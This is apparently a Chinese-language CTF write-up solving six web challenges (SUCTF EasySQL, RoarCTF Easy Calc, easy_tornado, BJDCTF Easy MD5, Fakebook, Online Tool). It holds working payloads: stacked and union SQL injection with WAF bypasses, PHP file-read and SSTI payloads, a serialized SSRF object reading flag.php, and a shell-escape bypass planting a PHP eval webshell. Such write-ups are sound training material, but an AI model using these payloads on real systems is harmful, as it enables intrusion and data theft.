目录
[SUCTF 2019]EasySQL
这道题目开始时我以为是万能密码,所以一开始全部是no,试着输入flag还是同样的结果
尝试了单个1后发现出现了反应,输入2也是
但是输入1'后没有 又没有了反应,不显示报错信息,所以无法使用报错注入;使用order by同样还是no,所以联合查询就行不通了。
根据页面是否回显分成两类
- 显注:前端页面可以回显用户信息,比如 联合注入、报错注入。
- 盲注:前端页面不能回显用户信息,比如 布尔盲注、时间盲注。
试下盲注,布尔盲注
1 and length(database())>=1#
1' and length(database())>=1#
放弃布尔盲注,时间盲注试试,还是同样的结果,尝试堆叠注入,终于有了反应
1;show databases#
看表
1;show tables#
发现了flag,但是查看表中内容时又变成了no,看了别人wp才明白是怎么回事
这道题目需要我们去对后端语句进行猜测
1、输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有||
2、也就是select 输入的数据||内置的一个列名 from 表名=>即为
select post进去的数据||flag from Flag(含有数据的表名,通过堆叠注入可知)
此时的||起到的作用是or的作用
解法1
内置的sql语句为
sql=“select”.post[‘query’]."||flag from Flag";
如果$post[‘query’]的数据为*,1,sql语句就变成了
select *,1||flag from Flag
也就是直接查询出了Flag表中的所有内容
select *,1 from Flag
直接输入*,1得出flag
解法2
输入的内容为
1;set sql_mode=pipes_as_concat;select 1
查询语句变为:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag;
sql_mode
sql_mode是MySQL数据库中的一个环境变量,定义了MySQL应该支持的SQL语法、数据校验等。设置sql_mode为PIPES_AS_CONCAT, 将"||"视为字符串的连接操作符而非或运算符,和字符串的拼接函数concat相类似。concat函数用于将多列查询结果连接为一个字符串。
当 sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数
当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数sql_mode 是个很容易被忽视的变量,默认值是空值,在这种设置下是可以允许一些非法操作的,比如允许一些非法数据的插入,所以必须将这个值设置为严格模式。
sql_mode常用来解决的几类问题:
1、通过设置sql_mode,可以完成不同严格程度的数据校验,有效地保证数据准确性;
2、通过设置sql_mode为宽松模式,来保证大多数sql符合标准的sql语法,这样应用在不同数据库之间进行迁移时。则不需要对业务sql进行较大的修改;
3、在不同数据库之间进行数据迁移之前,通过设置sql_mode可以使MySQL上的数据更方便地迁移到目标数据库中。
参考博客
[RoarCTF 2019]Easy Calc
输入1+1
没看出来有什么东西,所以观察源码,发现waf和calc.php
WAF的主要功能:
WAF主要是通过内置的很多安全规则 来进行防御。
可防护常见的SQL注入、XSS、网页篡改、中间件漏洞等OWASP TOP10攻击行。
当发现攻击后,可将IP进行锁定,IP锁定之后将无法访问网站业务。
也支持防止CC攻击,采用集中度和速率双重检测算法。
访问calc.php页面
blacklist意思是黑名单,所以猜测它包含的是被过滤的字符 ,题目利用waf过滤了num参数中的一些字符,那么我们就需要利用php的字符串解析特性绕过waf。
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除前后的空白符(空格符,制表符,换行符等统称为空白符);
2.将某些字符转换为下划线(包括空格);
例:假如waf不允许num变量传递字母, 那么我们可以在num前加个空格,这样waf就找不到num这个变量了,因为现在的变量叫" num",而不是"num"。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
由鉴于他过滤了单引号和双引号,我们无法直接传参。
需要用到几个函数来构建取得目录:
- var_dump() — 可以将变量的内部信息打印出来,可以打印出数组
- scandir() — 传入目录参数,返回传入目录的文件及文件夹
- chr() — 传入数字可以将ASCII码解析为字符串
- readfile() — 传入文件名作为参数可以读取文件内容
- file_get_contents — 传入文件名作为参数可以读取文件内容
char(47)也就是ascii码中的 '/' ,构造payload,发现有以flag命名的文件
/calc.php? num=1;var_dump(scandir(chr(47)))
所以要想办法读取该文件,构造payload
calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
找到flag。
easy_tornado
打开题目链接后出现3个链接
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render
/hints.txt
md5(cookie_secret+md5(filename))
一开始并不知道是什么意思,看了大佬的博客以后才明白和SSTI有关
每个链接点进去发现url的格式基本一样
/file?filename=/xxx&filehash=
所以猜测想要得到flag的格式也是这样,再看hint.txt的提示:md5(cookie_secret+md5(filename))。明显我们要先找到cookie_secret进行MD5加密,再和进行MD5加密后输入的文件名进行连接,再次加密。
先尝试输入一个相同格式的url
提示有签名错误,发现/error?msg=签名错误。根据提示网页提示:render(渲染)函数,联想到ssti注入(模板注入)
SSTI注入:服务端模板注入
当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
同时根据大佬的wp知道tornado官方文档中指出cookie_secret在handler。settings中,访问
/error?msg={{handler.settings}}得到cookie_secret
得到cookie_secert后就简单了,像前文所言,将cookie_secert和/fllllllllllllag分别MD5加密后拼接再次加密输入得到flag构造payload:
file?filename=/fllllllllllllag&filehash=正确MD5值 ,然后访问得到flag。
[BJDCTF2020]Easy MD5
打开链接,发现一个框,随便输入后发现没有回显
查看源码后发现没有任何有用信息,进行抓包后发现关键
- 回包有点信息,是个sql查询语句,后面的password经过MD5处理过了,有注入的漏洞
- 我们只需要把语句拼接为
- select * from 'admin' where password=‘xxx’ or ‘1就可以绕过这个语句
- 查了一下发现有 ffifdyop,输入
发现新的链接,打开后是个这个东西,看源码
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
- 只要a,b参数不一样,但是MD5前2位一样都是0开头后面接个字母就可以了
- PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
- 也可以直接利用数组来绕过,构造 ?a[]=1&b[]=2 即可,由于 md5 函数哈希数组会返回 NULL,因此只要传两个不同的数组即可绕过限制。
构造?a[]=1&b[]=2直接绕过 ,出现第三个页面
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
题目把 == 全部换成了 ===,在这种情况下 0e 绕过不能用,只能通过传数组来解决,和上面一样param1[]=¶m2[]=2,然后post传参 ,得到flag。
[网鼎杯 2018]Fakebook
进入靶场,是一个登录界面,先注册一个账号看看,注册的时候,发现对blog有过滤,注册完发现界面是这样的,
登录进去以后发现url很经典
测试后发现该处存在数字型注入,union select会触发waf,使用union/**/select可绕过。还发现了文件路径泄露,和一个重要函数unserialize()。
payload
?no=-1 union/**/select 1,database(),3,4
那么这道题的考点应该就是反序列化了。
看别人的wp知道robots.txt里面还有东西,打开后里面有个user.php.bak,访问一下,拿到源码
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
cuit_init()用来初始化一个curl会话,curl可以使用file伪协议读取文件。
这个地方可以使用file:///var/www/html/flag.php读取flag.php,结合我们上面的反序列化,我们试着构造我们的序列化代码。
<?php
class UserInfo
{
public $name = "aaa";
public $age = 1;
public $blog = "file:///var/www/html/flag.php";
}
$a=new UserInfo();
echo serialize($a);
?>
运行结果
O:8:"UserInfo":3:{s:4:"name";s:3:"aaa";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
构造payload
?no=2 union/**/select 1,database(),3,'O:8:"UserInfo":3:{s:4:"name";s:3:"aaa";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
再查看网页源代码,可以发现内联表单里面有嵌入base64的加密信息,不用解密打开就可以发现flag。
[BUUCTF 2018]Online Tool
打开网页,首先还是代码审计
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
这里面的escapeshellarg(),escapeshellcmd()还有mkdir(),chdir()函数不太了解,查了一下发现mkdir()和chdir()还是挺容易理解的但是escapeshellarg(),escapeshellcmd()就不太容易了。
mkdir() 函数
主要用于创建目录。如果成功该函数返回 TRUE,如果失败则返回 FALSE。 这里也明白了为什么题目会在它前面加上一个@。
chdir() 函数
改变当前的目录:
<?php
// Get current directory
echo getcwd() . "<br>";
// Change directory
chdir("images");
// Get current directory
echo getcwd();
?>
结果:
/home/php
/home/php/images
接下来就是这两个函数了escapeshellarg(),escapeshellcmd()
附上大佬文章PHP escapeshellarg()+escapeshellcmd() 之殇
- 传入的参数是:172.17.0.2' -v -d a=1
- 经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
- 经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
- 最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
所以这段代码大致意思就是:
首先判断http_x_forwarded_for是否存在,如果存在将其赋值给$_SERVER['REMOTE_ADDR'],$_SERVER['HTTP_X_FORWARDED_FOR']可以使用X-Forwarded-For来伪造。
接下来通过GET方法获得参数$host,对$host执行escapeshellarg和escapeshellcmd两个函数后拼接到nmap -T5 -sT -Pn --host-timeout 2 -F后面,切换到$sandbox目录中执行。
在nmap命令中有一个参数-oG可以实现将命令和结果写到文件所以很自然的想到了上传一个一句话木马了。
构造payload
?host=' <?php @eval($_POST["a"]);?> -oG 1.php '
文件夹名
最后蚁剑链接的时候不要忘了还有1.php